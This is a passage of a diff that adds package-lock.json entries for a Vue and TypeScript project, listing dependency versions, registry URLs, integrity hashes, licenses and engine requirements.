"license": "MIT", + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + } + }, + "node_modules/@hapi/hoek": { + "version": "9.3.0", + "resolved": "https://registry.npmmirror.com/@hapi/hoek/-/hoek-9.3.0.tgz", + "integrity": "sha512-/c6rf4UJlmHlC9b5BaNvzAcFv7HZ2QHaV0D4/HNlBdvFnvQq8RI4kYdhyPCl7Xj+oWvTWQ8ujhqS53LIgAe6KQ==", + "dev": true, + "license": "BSD-3-Clause" + }, + "node_modules/@hapi/topo": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/@hapi/topo/-/topo-5.1.0.tgz", + "integrity": "sha512-foQZKJig7Ob0BMAYBfcJk8d77QtOe7Wo4ox7ff1lQYoNNAb6jwcY1ncdoy2e9wQZzvNy7ODZCYJkK8kzmcAnAg==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "@hapi/hoek": "^9.0.0" + } + }, + "node_modules/@humanwhocodes/config-array": { + "version": "0.13.0", + "resolved": "https://registry.npmmirror.com/@humanwhocodes/config-array/-/config-array-0.13.0.tgz", + "integrity": "sha512-DZLEEqFWQFiyK6h5YIeynKx7JlvCYWL0cImfSRXZ9l4Sg2efkFGTuFf6vzXjK1cq6IYkU+Eg/JizXw+TD2vRNw==", + "deprecated": "Use @eslint/config-array instead", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@humanwhocodes/object-schema": "^2.0.3", + "debug": "^4.3.1", + "minimatch": "^3.0.5" + }, + "engines": { + "node": ">=10.10.0" + } + }, + "node_modules/@humanwhocodes/module-importer": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", + "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=12.22" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/nzakas" + } + }, + "node_modules/@humanwhocodes/object-schema": { + "version": "2.0.3", + "resolved": "https://registry.npmmirror.com/@humanwhocodes/object-schema/-/object-schema-2.0.3.tgz", + "integrity": "sha512-93zYdMES/c1D69yZiKDBj0V24vqNzB/koF26KPaagAfd3P/4gUlh3Dys5ogAK+Exi9QyzlD8x/08Zt7wIKcDcA==", + "deprecated": "Use @eslint/object-schema instead", + "dev": true, + "license": "BSD-3-Clause" + }, + "node_modules/@intlify/core-base": { + "version": "10.0.6", + "resolved": "https://registry.npmmirror.com/@intlify/core-base/-/core-base-10.0.6.tgz", + "integrity": "sha512-/NINGvy7t8qSCyyuqMIPmHS6CBQjqPIPVOps0Rb7xWrwwkwHJKtahiFnW1HC4iQVhzoYwEW6Js0923zTScLDiA==", + "license": "MIT", + "dependencies": { + "@intlify/message-compiler": "10.0.6", + "@intlify/shared": "10.0.6" + }, + "engines": { + "node": ">= 16" + }, + "funding": { + "url": "https://github.com/sponsors/kazupon" + } + }, + "node_modules/@intlify/message-compiler": { + "version": "10.0.6", + "resolved": "https://registry.npmmirror.com/@intlify/message-compiler/-/message-compiler-10.0.6.tgz", + "integrity": "sha512-QcUYprK+e4X2lU6eJDxLuf/mUtCuVPj2RFBoFRlJJxK3wskBejzlRvh1Q0lQCi9tDOnD4iUK1ftcGylE3X3idA==", + "license": "MIT", + "dependencies": { + "@intlify/shared": "10.0.6", + "source-map-js": "^1.0.2" + }, + "engines": { + "node": ">= 16" + }, + "funding": { + "url": "https://github.com/sponsors/kazupon" + } + }, + "node_modules/@intlify/shared": { + "version": "10.0.6", + "resolved": "https://registry.npmmirror.com/@intlify/shared/-/shared-10.0.6.tgz", + "integrity": "sha512-2xqwm05YPpo7TM//+v0bzS0FWiTzsjpSMnWdt7ZXs5/ZfQIedSuBXIrskd8HZ7c/cZzo1G9ALHTksnv/74vk/Q==", + "license": "MIT", + "engines": { + "node": ">= 16" + }, + "funding": { + "url": "https://github.com/sponsors/kazupon" + } + }, + "node_modules/@isaacs/cliui": { + "version": "8.0.2", + "resolved": "https://registry.npmmirror.com/@isaacs/cliui/-/cliui-8.0.2.tgz", + "integrity": "sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==", + "dev": true, + "license": "ISC", + "dependencies": { + "string-width": "^5.1.2", + "string-width-cjs": "npm:string-width@^4.2.0", + "strip-ansi": "^7.0.1", + "strip-ansi-cjs": "npm:strip-ansi@^6.0.1", + "wrap-ansi": "^8.1.0", + "wrap-ansi-cjs": "npm:wrap-ansi@^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/@isaacs/cliui/node_modules/ansi-regex": { + "version": "6.1.0", + "resolved": "https://registry.npmmirror.com/ansi-regex/-/ansi-regex-6.1.0.tgz", + "integrity": "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/@isaacs/cliui/node_modules/emoji-regex": { + "version": "9.2.2", + "resolved": "https://registry.npmmirror.com/emoji-regex/-/emoji-regex-9.2.2.tgz", + "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@isaacs/cliui/node_modules/string-width": { + "version": "5.1.2", + "resolved": "https://registry.npmmirror.com/string-width/-/string-width-5.1.2.tgz", + "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==", + "dev": true, + "license": "MIT", + "dependencies": { + "eastasianwidth": "^0.2.0", + "emoji-regex": "^9.2.2", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@isaacs/cliui/node_modules/strip-ansi": { + "version": "7.1.0", + "resolved": "https://registry.npmmirror.com/strip-ansi/-/strip-ansi-7.1.0.tgz", + "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^6.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.5.0", + "resolved": "https://registry.npmmirror.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.0.tgz", + "integrity": "sha512-gv3ZRaISU3fjPAgNsriBRqGWQL6quFx04YMPW/zD8XMLsU32mhCCbfbO6KZFLjvYpCZ8zyDEgqsgf+PwPaM7GQ==", + "license": "MIT" + }, + "node_modules/@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmmirror.com/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmmirror.com/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmmirror.com/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@one-ini/wasm": { + "version": "0.1.1", + "resolved": "https://registry.npmmirror.com/@one-ini/wasm/-/wasm-0.1.1.tgz", + "integrity": "sha512-XuySG1E38YScSJoMlqovLru4KTUNSjgVTIjyh7qMX6aNN5HY5Ct5LhRJdxO79JtTzKfzV/bnWpz+zquYrISsvw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@pkgjs/parseargs": { + "version": "0.11.0", + "resolved": "https://registry.npmmirror.com/@pkgjs/parseargs/-/parseargs-0.11.0.tgz", + "integrity": "sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==", + "dev": true, + "license": "MIT", + "optional": true, + "engines": { + "node": ">=14" + } + }, + "node_modules/@popperjs/core": { + "version": "2.11.8", + "resolved": "https://registry.npmmirror.com/@popperjs/core/-/core-2.11.8.tgz", + "integrity": "sha512-P1st0aksCrn9sGZhp8GMYwBnQsbvAWsZAX44oXNNvLHGqAOcoVxmjZiohstwQ7SqKnbR47akdNi+uleWD8+g6A==", + "license": "MIT", + "peer": true, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/popperjs" + } + }, + "node_modules/@rushstack/eslint-patch": { + "version": "1.11.0", + "resolved": "https://registry.npmmirror.com/@rushstack/eslint-patch/-/eslint-patch-1.11.0.tgz", + "integrity": "sha512-zxnHvoMQVqewTJr/W4pKjF0bMGiKJv1WX7bSrkl46Hg0QjESbzBROWK0Wg4RphzSOS5Jiy7eFimmM3UgMrMZbQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/@sideway/address": { + "version": "4.1.5", + "resolved": "https://registry.npmmirror.com/@sideway/address/-/address-4.1.5.tgz", + "integrity": "sha512-IqO/DUQHUkPeixNQ8n0JA6102hT9CmaljNTPmQ1u8MEhBo/R4Q8eKLN/vGZxuebwOroDB4cbpjheD4+/sKFK4Q==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "@hapi/hoek": "^9.0.0" + } + }, + "node_modules/@sideway/formula": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/@sideway/formula/-/formula-3.0.1.tgz", + "integrity": "sha512-/poHZJJVjx3L+zVD6g9KgHfYnb443oi7wLu/XKojDviHy6HOEOA6z1Trk5aR1dGcmPenJEgb2sK2I80LeS3MIg==", + "dev": true, + "license": "BSD-3-Clause" + }, + "node_modules/@sideway/pinpoint": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/@sideway/pinpoint/-/pinpoint-2.0.0.tgz", + "integrity": "sha512-RNiOoTPkptFtSVzQevY/yWtZwf/RxyVnPy/OcA9HBM3MlGDnBEYL5B41H0MTn0Uec8Hi+2qUtTfG2WWZBmMejQ==", + "dev": true, + "license": "BSD-3-Clause" + }, + "node_modules/@socket.io/component-emitter": { + "version": "3.1.2", + "resolved": "https://registry.npmmirror.com/@socket.io/component-emitter/-/component-emitter-3.1.2.tgz", + "integrity": "sha512-9BCxFwvbGg/RsZK9tjXd8s4UcwR0MWeFQ1XEKIQVVvAGJyINdrqKMcTRyLoK8Rse1GjzLV9cwjWV1olXRWEXVA==", + "license": "MIT" + }, + "node_modules/@tootallnate/once": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/@tootallnate/once/-/once-2.0.0.tgz", + "integrity": "sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 10" + } + }, + "node_modules/@types/chai": { + "version": "4.3.20", + "resolved": "https://registry.npmmirror.com/@types/chai/-/chai-4.3.20.tgz", + "integrity": "sha512-/pC9HAB5I/xMlc5FP77qjCnI16ChlJfW0tGa0IUcFn38VJrTV6DeZ60NU5KZBtaOZqjdpwTWohz5HU1RrhiYxQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/chai-subset": { + "version": "1.3.6", + "resolved": "https://registry.npmmirror.com/@types/chai-subset/-/chai-subset-1.3.6.tgz", + "integrity": "sha512-m8lERkkQj+uek18hXOZuec3W/fCRTrU4hrnXjH3qhHy96ytuPaPiWGgu7sJb7tZxZonO75vYAjCvpe/e4VUwRw==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "@types/chai": "<5.2.0" + } + }, + "node_modules/@types/jsdom": { + "version": "20.0.1", + "resolved": "https://registry.npmmirror.com/@types/jsdom/-/jsdom-20.0.1.tgz", + "integrity": "sha512-d0r18sZPmMQr1eG35u12FZfhIXNrnsPU/g5wvRKCUf/tOGilKKwYMYGqh33BNR6ba+2gkHw1EUiHoN3mn7E5IQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*", + "@types/tough-cookie": "*", + "parse5": "^7.0.0" + } + }, + "node_modules/@types/json-schema": { + "version": "7.0.15", + "resolved": "https://registry.npmmirror.com/@types/json-schema/-/json-schema-7.0.15.tgz", + "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/lodash": { + "version": "4.17.16", + "resolved": "https://registry.npmmirror.com/@types/lodash/-/lodash-4.17.16.tgz", + "integrity": "sha512-HX7Em5NYQAXKW+1T+FiuG27NGwzJfCX3s1GjOa7ujxZa52kjJLOr4FUxT+giF6Tgxv1e+/czV/iTtBw27WTU9g==", + "license": "MIT" + }, + "node_modules/@types/node": { + "version": "18.19.80", + "resolved": "https://registry.npmmirror.com/@types/node/-/node-18.19.80.tgz", + "integrity": "sha512-kEWeMwMeIvxYkeg1gTc01awpwLbfMRZXdIhwRcakd/KlK53jmRC26LqcbIt7fnAQTu5GzlnWmzA3H6+l1u6xxQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "undici-types": "~5.26.4" + } + }, + "node_modules/@types/semver": { + "version": "7.5.8", + "resolved": "https://registry.npmmirror.com/@types/semver/-/semver-7.5.8.tgz", + "integrity": "sha512-I8EUhyrgfLrcTkzV3TSsGyl1tSuPrEDzr0yd5m90UgNxQkyDXULk3b6MlQqTCpZpNtWe1K0hzclnZkTcLBe2UQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/sinonjs__fake-timers": { + "version": "8.1.1", + "resolved": "https://registry.npmmirror.com/@types/sinonjs__fake-timers/-/sinonjs__fake-timers-8.1.1.tgz", + "integrity": "sha512-0kSuKjAS0TrGLJ0M/+8MaFkGsQhZpB6pxOmvS3K8FYI72K//YmdfoW9X2qPsAKh1mkwxGD5zib9s1FIFed6E8g==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/sizzle": { + "version": "2.3.9", + "resolved": "https://registry.npmmirror.com/@types/sizzle/-/sizzle-2.3.9.tgz", + "integrity": "sha512-xzLEyKB50yqCUPUJkIsrVvoWNfFUbIZI+RspLWt8u+tIW/BetMBZtgV2LY/2o+tYH8dRvQ+eoPf3NdhQCcLE2w==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/tough-cookie": { + "version": "4.0.5", + "resolved": "https://registry.npmmirror.com/@types/tough-cookie/-/tough-cookie-4.0.5.tgz", + "integrity": "sha512-/Ad8+nIOV7Rl++6f1BdKxFSMgmoqEoYbHRpPcx3JEfv8VRsQe9Z4mCXeJBzxs7mbHY/XOZZuXlRNfhpVPbs6ZA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/uuid": { + "version": "11.0.0", + "resolved": "https://registry.npmjs.org/@types/uuid/-/uuid-11.0.0.tgz", + "integrity": "sha512-HVyk8nj2m+jcFRNazzqyVKiZezyhDKrGUA3jlEcg/nZ6Ms+qHwocba1Y/AaVaznJTAM9xpdFSh+ptbNrhOGvZA==", + "deprecated": "This is a stub types definition. uuid provides its own type definitions, so you do not need this installed.", + "dev": true, + "license": "MIT", + "dependencies": { + "uuid": "*" + } + }, + "node_modules/@types/yauzl": { + "version": "2.10.3", + "resolved": "https://registry.npmmirror.com/@types/yauzl/-/yauzl-2.10.3.tgz", + "integrity": "sha512-oJoftv0LSuaDZE3Le4DbKX+KS9G36NzOeSap90UIK0yMA/NhKJhqlSGtNDORNRaIbQfzjXDrQa0ytJ6mNRGz/Q==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@typescript-eslint/eslint-plugin": { + "version": "5.62.0", + "resolved": "https://registry.npmmirror.com/@typescript-eslint/eslint-plugin/-/eslint-plugin-5.62.0.tgz", + "integrity": "sha512-TiZzBSJja/LbhNPvk6yc0JrX9XqhQ0hdh6M2svYfsHGejaKFIAGd9MQ+ERIMzLGlN/kZoYIgdxFV0PuljTKXag==", + "dev": true, + "license": "MIT", + "dependencies": { + "@eslint-community/regexpp": "^4.4.0", + "@typescript-eslint/scope-manager": "5.62.0", + "@typescript-eslint/type-utils": "5.62.0", + "@typescript-eslint/utils": "5.62.0", + "debug": "^4.3.4", + "graphemer": "^1.4.0", + "ignore": "^5.2.0", + "natural-compare-lite": "^1.4.0", + "semver": "^7.3.7", + "tsutils": "^3.21.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "@typescript-eslint/parser": "^5.0.0", + "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/@typescript-eslint/parser": { + "version": "5.62.0", + "resolved": "https://registry.npmmirror.com/@typescript-eslint/parser/-/parser-5.62.0.tgz", + "integrity": "sha512-VlJEV0fOQ7BExOsHYAGrgbEiZoi8D+Bl2+f6V2RrXerRSylnp+ZBHmPvaIa8cz0Ajx7WO7Z5RqfgYg7ED1nRhA==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "@typescript-eslint/scope-manager": "5.62.0", + "@typescript-eslint/types": "5.62.0", + "@typescript-eslint/typescript-estree": "5.62.0", + "debug": "^4.3.4" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/@typescript-eslint/scope-manager": { + "version": "5.62.0", + "resolved": "https://registry.npmmirror.com/@typescript-eslint/scope-manager/-/scope-manager-5.62.0.tgz", + "integrity": "sha512-VXuvVvZeQCQb5Zgf4HAxc04q5j+WrNAtNh9OwCsCgpKqESMTu3tF/jhZ3xG6T4NZwWl65Bg8KuS2uEvhSfLl0w==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/types": "5.62.0", + "@typescript-eslint/visitor-keys": "5.62.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@typescript-eslint/type-utils": { + "version": "5.62.0", + "resolved": "https://registry.npmmirror.com/@typescript-eslint/type-utils/-/type-utils-5.62.0.tgz", + "integrity": "sha512-xsSQreu+VnfbqQpW5vnCJdq1Z3Q0U31qiWmRhr98ONQmcp/yhiPJFPq8MXiJVLiksmOKSjIldZzkebzHuCGzew==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/typescript-estree": "5.62.0", + "@typescript-eslint/utils": "5.62.0", + "debug": "^4.3.4", + "tsutils": "^3.21.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "*" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/@typescript-eslint/types": { + "version": "5.62.0", + "resolved": "https://registry.npmmirror.com/@typescript-eslint/types/-/types-5.62.0.tgz", + "integrity": "sha512-87NVngcbVXUahrRTqIK27gD2t5Cu1yuCXxbLcFtCzZGlfyVWWh8mLHkoxzjsB6DDNnvdL+fW8MiwPEJyGJQDgQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@typescript-eslint/typescript-estree": { + "version": "5.62.0", + "resolved": "https://registry.npmmirror.com/@typescript-eslint/typescript-estree/-/typescript-estree-5.62.0.tgz", + "integrity": "sha512-CmcQ6uY7b9y694lKdRB8FEel7JbU/40iSAPomu++SjLMntB+2Leay2LO6i8VnJk58MtE9/nQSFIH6jpyRWyYzA==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "@typescript-eslint/types": "5.62.0", + "@typescript-eslint/visitor-keys": "5.62.0", + "debug": "^4.3.4", + "globby": "^11.1.0", + "is-glob": "^4.0.3", + "semver": "^7.3.7", + "tsutils": "^3.21.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/@typescript-eslint/utils": { + "version": "5.62.0", + "resolved": "https://registry.npmmirror.com/@typescript-eslint/utils/-/utils-5.62.0.tgz", + "integrity": "sha512-n8oxjeb5aIbPFEtmQxQYOLI0i9n5ySBEY/ZEHHZqKQSFnxio1rv6dthascc9dLuwrL0RC5mPCxB7vnAVGAYWAQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@eslint-community/eslint-utils": "^4.2.0", + "@types/json-schema": "^7.0.9", + "@types/semver": "^7.3.12", + "@typescript-eslint/scope-manager": "5.62.0", + "@typescript-eslint/types": "5.62.0", + "@typescript-eslint/typescript-estree": "5.62.0", + "eslint-scope": "^5.1.1", + "semver": "^7.3.7" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/@typescript-eslint/visitor-keys": { + "version": "5.62.0", + "resolved": "https://registry.npmmirror.com/@typescript-eslint/visitor-keys/-/visitor-keys-5.62.0.tgz", + "integrity": "sha512-07ny+LHRzQXepkGg6w0mFY41fVUNBrL2Roj/++7V1txKugfjm/Ci/qSND03r2RhlJhJYMcTn9AhhSSqQp0Ysyw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/types": "5.62.0", + "eslint-visitor-keys": "^3.3.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@ungap/structured-clone": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/@ungap/structured-clone/-/structured-clone-1.3.0.tgz", + "integrity": "sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g==", + "dev": true, + "license": "ISC" + }, + "node_modules/@vitejs/plugin-vue": { + "version": "4.6.2", + "resolved": "https://registry.npmmirror.com/@vitejs/plugin-vue/-/plugin-vue-4.6.2.tgz", + "integrity": "sha512-kqf7SGFoG+80aZG6Pf+gsZIVvGSCKE98JbiWqcCV9cThtg91Jav0yvYFC9Zb+jKetNGF6ZKeoaxgZfND21fWKw==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^14.18.0 || >=16.0.0" + }, + "peerDependencies": { + "vite": "^4.0.0 || ^5.0.0", + "vue": "^3.2.25" + } + }, + "node_modules/@volar/language-core": { + "version": "1.11.1", + "resolved": "https://registry.npmmirror.com/@volar/language-core/-/language-core-1.11.1.tgz", + "integrity": "sha512-dOcNn3i9GgZAcJt43wuaEykSluAuOkQgzni1cuxLxTV0nJKanQztp7FxyswdRILaKH+P2XZMPRp2S4MV/pElCw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@volar/source-map": "1.11.1" + } + }, + "node_modules/@volar/source-map": { + "version": "1.11.1", + "resolved": "https://registry.npmmirror.com/@volar/source-map/-/source-map-1.11.1.tgz", + "integrity": "sha512-hJnOnwZ4+WT5iupLRnuzbULZ42L7BWWPMmruzwtLhJfpDVoZLjNBxHDi2sY2bgZXCKlpU5XcsMFoYrsQmPhfZg==", + "dev": true, + "license": "MIT", + "dependencies": { + "muggle-string": "^0.3.1" + } + }, + "node_modules/@volar/typescript": { + "version": "1.11.1", + "resolved": "https://registry.npmmirror.com/@volar/typescript/-/typescript-1.11.1.tgz", + "integrity": "sha512-iU+t2mas/4lYierSnoFOeRFQUhAEMgsFuQxoxvwn5EdQopw43j+J27a4lt9LMInx1gLJBC6qL14WYGlgymaSMQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@volar/language-core": "1.11.1", + "path-browserify": "^1.0.1" + } + }, + "node_modules/@vue/compiler-core": { + "version": "3.5.13", + "resolved": "https://registry.npmmirror.com/@vue/compiler-core/-/compiler-core-3.5.13.tgz", + "integrity": "sha512-oOdAkwqUfW1WqpwSYJce06wvt6HljgY3fGeM9NcVA1HaYOij3mZG9Rkysn0OHuyUAGMbEbARIpsG+LPVlBJ5/Q==", + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.25.3", + "@vue/shared": "3.5.13", + "entities": "^4.5.0", + "estree-walker": "^2.0.2", + "source-map-js": "^1.2.0" + } + }, + "node_modules/@vue/compiler-dom": { + "version": "3.5.13", + "resolved": "https://registry.npmmirror.com/@vue/compiler-dom/-/compiler-dom-3.5.13.tgz", + "integrity": "sha512-ZOJ46sMOKUjO3e94wPdCzQ6P1Lx/vhp2RSvfaab88Ajexs0AHeV0uasYhi99WPaogmBlRHNRuly8xV75cNTMDA==", + "license": "MIT", + "dependencies": { + "@vue/compiler-core": "3.5.13", + "@vue/shared": "3.5.13" + } + }, + "node_modules/@vue/compiler-sfc": { + "version": "3.5.13", + "resolved": "https://registry.npmmirror.com/@vue/compiler-sfc/-/compiler-sfc-3.5.13.tgz", + "integrity": "sha512-6VdaljMpD82w6c2749Zhf5T9u5uLBWKnVue6XWxprDobftnletJ8+oel7sexFfM3qIxNmVE7LSFGTpv6obNyaQ==", + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.25.3", + "@vue/compiler-core": "3.5.13", + "@vue/compiler-dom": "3.5.13", + "@vue/compiler-ssr": "3.5.13", + "@vue/shared": "3.5.13", + "estree-walker": "^2.0.2", + "magic-string": "^0.30.11", + "postcss": "^8.4.48", + "source-map-js": "^1.2.0" + } + }, + "node_modules/@vue/compiler-ssr": { + "version": "3.5.13", + "resolved": "https://registry.npmmirror.com/@vue/compiler-ssr/-/compiler-ssr-3.5.13.tgz", + "integrity": "sha512-wMH6vrYHxQl/IybKJagqbquvxpWCuVYpoUJfCqFZwa/JY1GdATAQ+TgVtgrwwMZ0D07QhA99rs/EAAWfvG6KpA==", + "license": "MIT", + "dependencies": { + "@vue/compiler-dom": "3.5.13", + "@vue/shared": "3.5.13" + } + }, + "node_modules/@vue/devtools-api": { + "version": "6.6.4", + "resolved": "https://registry.npmmirror.com/@vue/devtools-api/-/devtools-api-6.6.4.tgz", + "integrity": "sha512-sGhTPMuXqZ1rVOk32RylztWkfXTRhuS7vgAKv0zjqk8gbsHkJ7xfFf+jbySxt7tWObEJwyKaHMikV/WGDiQm8g==", + "license": "MIT" + }, + "node_modules/@vue/eslint-config-prettier": { + "version": "7.1.0", + "resolved": "https://registry.npmmirror.com/@vue/eslint-config-prettier/-/eslint-config-prettier-7.1.0.tgz", + "integrity": "sha512-Pv/lVr0bAzSIHLd9iz0KnvAr4GKyCEl+h52bc4e5yWuDVtLgFwycF7nrbWTAQAS+FU6q1geVd07lc6EWfJiWKQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "eslint-config-prettier": "^8.3.0", + "eslint-plugin-prettier": "^4.0.0" + }, + "peerDependencies": { + "eslint": ">= 7.28.0", + "prettier": ">= 2.0.0" + } + }, + "node_modules/@vue/eslint-config-typescript": { + "version": "11.0.3", + "resolved": "https://registry.npmmirror.com/@vue/eslint-config-typescript/-/eslint-config-typescript-11.0.3.tgz", + "integrity": "sha512-dkt6W0PX6H/4Xuxg/BlFj5xHvksjpSlVjtkQCpaYJBIEuKj2hOVU7r+TIe+ysCwRYFz/lGqvklntRkCAibsbPw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/eslint-plugin": "^5.59.1", + "@typescript-eslint/parser": "^5.59.1", + "vue-eslint-parser": "^9.1.1" + }, + "engines": { + "node": "^14.17.0 || >=16.0.0" + }, + "peerDependencies": { + "eslint": "^6.2.0 || ^7.0.0 || ^8.0.0", + "eslint-plugin-vue": "^9.0.0", + "typescript": "*" + 